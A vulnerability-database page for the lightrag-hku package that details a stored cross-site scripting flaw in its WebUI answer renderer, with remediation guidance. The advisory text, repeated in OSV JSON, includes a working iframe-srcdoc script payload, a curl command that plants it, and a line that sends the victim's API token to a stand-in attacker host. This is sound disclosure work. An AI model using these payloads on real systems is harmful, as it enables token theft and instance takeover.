Vulnerabilities in pkg:pypi/lightrag-hku

PACKAGE
Advisory Identifier: GHSA-xpjq-3w4w-w5wr
Advisory Summary

CVE-2026-86062 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting lightrag-hku libraries in the PyPI ecosystem. The issue involves stored cross-site scripting (xss) in the lightrag webui chat/answer renderer via ingested content. Remediation is available by upgrading affected packages to version 1.5.5.

10 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/lightrag-hku

10 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/lightrag-hku. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-xpjq-3w4w-w5wr CVE-2026-86062 MODERATE lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content
GHSA-vv3m-f8x4-7377 CVE-2026-85740 HIGH lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard
GHSA-frch-4w6v-q5xx CVE-2026-85734 CRITICAL lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
GHSA-c759-cx9p-mrwq CVE-2026-85725 MODERATE lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function
GHSA-hrmj-7rvj-4hg8 CVE-2026-85709 MODERATE lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses
GHSA-f4vv-55c2-5789 CVE-2026-61740 CRITICAL LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection
GHSA-6x6h-qqr7-855w CVE-2026-61736 CRITICAL LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
GHSA-8ffj-4hx4-9pgf CVE-2026-39413 MODERATE lightrag-hku: JWT Algorithm Confusion Vulnerability
GHSA-mcww-4hxq-hfr3 CVE-2026-30762 HIGH LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass
GHSA-v9w6-9hq9-33ch CVE-2025-6773 MODERATE HKUDS LightRAG allows Path Traversal via function upload_to_input_dir

CVE-2026-86062 at a Glance

CVE Identifier CVE-2026-86062
GHSA Identifier GHSA-xpjq-3w4w-w5wr
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product lightrag-hku
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-86062

To remediate this vulnerability, upgrade all affected lightrag-hku dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lightrag-hku fixed: 1.5.5
pip install lightrag-hku>=1.5.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show lightrag-hku

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-86062, inspect your installed packages using pip:

pip show lightrag-hku

Analyze the terminal output to locate any version of lightrag-hku in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.5), your application is affected.

Note: The pip show lightrag-hku command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In lightrag-hku, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The LightRAG WebUI renders assistant/answer chat content as **raw HTML** — `react-markdown` is configured with `rehypePlugins={[rehypeRaw]}` and `skipHtml={false}` and **no** HTML sanitizer (`rehype-sanitize`), element allow-list, or custom `urlTransform`. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from `localStorage` and full API takeover. No authentication is required in the default configuration. ### Details Sink — `lightrag_webui/src/components/retrieval/ChatMessage.tsx`: - Main answer (`MessageMarkdown`, lines ~348-351) and thinking content (lines ~252-272) render with `rehypePlugins={[rehypeRaw, …]}` and `skipHtml={false}`. The `components` map (lines ~111-156) only restyles safe formatting tags (`p`, `h1`–`h4`, `ul`, `ol`, `li`, `code`); there is no `rehype-sanitize`, no `allowedElements`/`disallowedElements`, and no custom `urlTransform`. - Second sink: mermaid is initialized with `securityLevel: 'loose'` (line ~433) and the rendered SVG is injected via `container.innerHTML = svg` (line ~483) + `bindFunctions(container)`. `'loose'` disables mermaid's output sanitization, so a ` ```mermaid ` block in answer content (HTML label / `click` directive) is an additional script-execution path. - Hardening (not code execution): KaTeX is set with `trust: true` (lines ~261/~359). `\href{javascript:…}` is blocked by React 19, but `\includegraphics{URL}` renders a live remote `<img src>` (arbitrary external resource load from the victim's browser). Recommend `trust: false`. Source → sink: `POST /documents/text` or `POST /documents/upload` stores the document → `POST /query` returns it (verbatim when `only_need_context=true`, `lightrag/api/routers/query_routes.py:27`; otherwise echoed by the LLM) → the response is streamed into `assistantMessage.content` (`lightrag_webui/src/features/RetrievalView.tsx:340`) → rendered by the sink above. react-markdown's built-in defenses do NOT cover this: it sanitizes `href`/`src` URLs (so `javascript:` links are blocked) and React ignores string event handlers (so `<img onerror>` is dropped), but raw elements such as `<iframe srcdoc="…">` and `<svg><script>` are rendered unchanged and execute. ### PoC Benign, local-only. Tested at commit `f3378a3` (v1.5.5) with `react@19`, `react-markdown@10.1.0`, `rehype-raw@7.0.0`. **Fastest check (code review, ~10s):** in `ChatMessage.tsx`, the `<ReactMarkdown>` that renders answers uses `rehypePlugins={[rehypeRaw, …]}` with `skipHtml={false}` and no `rehype-sanitize` / allow-list. Per react-markdown's own documentation, `rehype-raw` on untrusted input without `rehype-sanitize` allows HTML injection — that is the vulnerability. **Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:** ```bash mkdir xss-check && cd xss-check npm init -y npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7 # save the script below as poc.mjs, then: node poc.mjs # open the generated poc.html in any browser (or headless): # msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html" ``` `poc.mjs`: ```js import React from 'react'; import { renderToStaticMarkup } from 'react-dom/server'; import ReactMarkdown from 'react-markdown'; import rehypeRaw from 'rehype-raw'; import { writeFileSync } from 'fs'; // Stands in for an assistant answer built from an ingested document. const answer = `<iframe srcdoc="<script>` + `var h=parent.document.createElement('h1');h.style.color='red';` + `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` + `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` + `<\/script>"></iframe>`; // EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer): const body = renderToStaticMarkup( React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer) ); writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`); console.log(body); // note the LIVE <iframe srcDoc="..."> — not HTML-escaped ``` **Observed** (verified in headless Chromium/Edge): the injected `srcdoc` script runs — the page title becomes `XSS-EXECUTED` and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: `<script>`, `<svg><script>`, and `<iframe srcdoc>` survive rendering; `<img onerror>` and `javascript:` links are neutralized by React / react-markdown, so `<iframe srcdoc>` is the reliable vector.) **Illustrative end-to-end source path (in a live instance):** ```bash curl -X POST http://127.0.0.1:9621/documents/text \ -H 'Content-Type: application/json' \ -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}' ``` Then query the knowledge base from the WebUI (or `POST /query` with `only_need_context=true`); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with `fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))` to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API. ### Impact Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in `localStorage`, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

CVE-2026-86062 Affected lightrag-hku Versions

1 component(s)
Fixed Versions:
1.5.5
Product / Package Ecosystem Affected Versions Fixed Version
lightrag-hku
PyPI
< 1.5.5
1.5.5

References

Frequently Asked Questions

What is CVE-2026-86062?
CVE-2026-86062 is a security vulnerability in lightrag-hku involving Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which lightrag-hku versions are affected?
Affected versions include releases prior to 1.5.5 across affected packages: lightrag-hku.
What version fixes CVE-2026-86062?
Upgrading to 1.5.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is lightrag-hku affected?
Yes, lightrag-hku is affected in releases prior to 1.5.5. Upgrade your dependency to 1.5.5 or later.
What is the CVSS score of CVE-2026-86062?
CVE-2026-86062 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-86062?
CVE-2026-86062 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2026-86062?
Run the dependency tree command: 'pip show lightrag-hku'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xpjq-3w4w-w5wr",
  "modified" : "2026-09-22T20:40:27Z",
  "published" : "2026-09-22T20:40:27Z",
  "aliases" : [ "CVE-2026-86062" ],
  "summary" : "lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content",
  "details" : "### Summary\nThe LightRAG WebUI renders assistant/answer chat content as **raw HTML** — `react-markdown` is\nconfigured with `rehypePlugins={[rehypeRaw]}` and `skipHtml={false}` and **no** HTML sanitizer\n(`rehype-sanitize`), element allow-list, or custom `urlTransform`. Because answer content is derived\nfrom user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript\npayload that executes in the browser of any user who later retrieves it (typically an administrator),\nleading to auth-token theft from `localStorage` and full API takeover. No authentication is required in\nthe default configuration.\n\n### Details\nSink — `lightrag_webui/src/components/retrieval/ChatMessage.tsx`:\n- Main answer (`MessageMarkdown`, lines ~348-351) and thinking content (lines ~252-272) render with\n  `rehypePlugins={[rehypeRaw, …]}` and `skipHtml={false}`. The `components` map (lines ~111-156) only\n  restyles safe formatting tags (`p`, `h1`–`h4`, `ul`, `ol`, `li`, `code`); there is no\n  `rehype-sanitize`, no `allowedElements`/`disallowedElements`, and no custom `urlTransform`.\n- Second sink: mermaid is initialized with `securityLevel: 'loose'` (line ~433) and the rendered SVG is\n  injected via `container.innerHTML = svg` (line ~483) + `bindFunctions(container)`. `'loose'` disables\n  mermaid's output sanitization, so a ` ```mermaid ` block in answer content (HTML label / `click`\n  directive) is an additional script-execution path.\n- Hardening (not code execution): KaTeX is set with `trust: true` (lines ~261/~359). `\\href{javascript:…}`\n  is blocked by React 19, but `\\includegraphics{URL}` renders a live remote `<img src>` (arbitrary\n  external resource load from the victim's browser). Recommend `trust: false`.\n\nSource → sink:\n`POST /documents/text` or `POST /documents/upload` stores the document → `POST /query` returns it\n(verbatim when `only_need_context=true`, `lightrag/api/routers/query_routes.py:27`; otherwise echoed by\nthe LLM) → the response is streamed into `assistantMessage.content`\n(`lightrag_webui/src/features/RetrievalView.tsx:340`) → rendered by the sink above.\n\nreact-markdown's built-in defenses do NOT cover this: it sanitizes `href`/`src` URLs (so `javascript:`\nlinks are blocked) and React ignores string event handlers (so `<img onerror>` is dropped), but raw\nelements such as `<iframe srcdoc=\"…\">` and `<svg><script>` are rendered unchanged and execute.\n\n### PoC\nBenign, local-only. Tested at commit `f3378a3` (v1.5.5) with `react@19`, `react-markdown@10.1.0`,\n`rehype-raw@7.0.0`.\n\n**Fastest check (code review, ~10s):** in `ChatMessage.tsx`, the `<ReactMarkdown>` that renders answers\nuses `rehypePlugins={[rehypeRaw, …]}` with `skipHtml={false}` and no `rehype-sanitize` / allow-list.\nPer react-markdown's own documentation, `rehype-raw` on untrusted input without `rehype-sanitize`\nallows HTML injection — that is the vulnerability.\n\n**Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:**\n```bash\nmkdir xss-check && cd xss-check\nnpm init -y\nnpm install react@19 react-dom@19 react-markdown@10 rehype-raw@7\n# save the script below as poc.mjs, then:\nnode poc.mjs\n# open the generated poc.html in any browser (or headless):\n#   msedge --headless=new --dump-dom \"file:///ABS/PATH/poc.html\"\n```\n`poc.mjs`:\n```js\nimport React from 'react';\nimport { renderToStaticMarkup } from 'react-dom/server';\nimport ReactMarkdown from 'react-markdown';\nimport rehypeRaw from 'rehype-raw';\nimport { writeFileSync } from 'fs';\n\n// Stands in for an assistant answer built from an ingested document.\nconst answer =\n  `<iframe srcdoc=\"<script>` +\n  `var h=parent.document.createElement('h1');h.style.color='red';` +\n  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +\n  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +\n  `<\\/script>\"></iframe>`;\n\n// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):\nconst body = renderToStaticMarkup(\n  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)\n);\nwriteFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);\nconsole.log(body);   // note the LIVE <iframe srcDoc=\"...\"> — not HTML-escaped\n```\n\n**Observed** (verified in headless Chromium/Edge): the injected `srcdoc` script runs — the page title\nbecomes `XSS-EXECUTED` and a red \"XSS EXECUTED on this page\" heading is appended to the document. This\nconfirms attacker HTML in answer content executes. (Separately: `<script>`, `<svg><script>`, and\n`<iframe srcdoc>` survive rendering; `<img onerror>` and `javascript:` links are neutralized by React /\nreact-markdown, so `<iframe srcdoc>` is the reliable vector.)\n\n**Illustrative end-to-end source path (in a live instance):**\n```bash\ncurl -X POST http://127.0.0.1:9621/documents/text \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"text\":\"<iframe srcdoc=\\\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\\\"></iframe>\",\"file_source\":\"note.md\"}'\n```\nThen query the knowledge base from the WebUI (or `POST /query` with `only_need_context=true`); the stored\npayload renders and the benign marker script runs in the viewer's browser (the page title becomes the\norigin). A real attacker replaces the benign marker with\n`fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))` to exfiltrate the victim's JWT\n(verified storage key) and impersonate them against the API.\n\n### Impact\nStored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any\nauthenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs\narbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the\nauth token in `localStorage`, the injected script can read it and drive the API as the victim\n(exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full\naccount/instance takeover.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lightrag-hku"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-86062"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/pull/3437"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HKUDS/LightRAG"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:40:27Z",
    "nvd_published_at" : "2026-09-22T17:17:27Z"
  }
}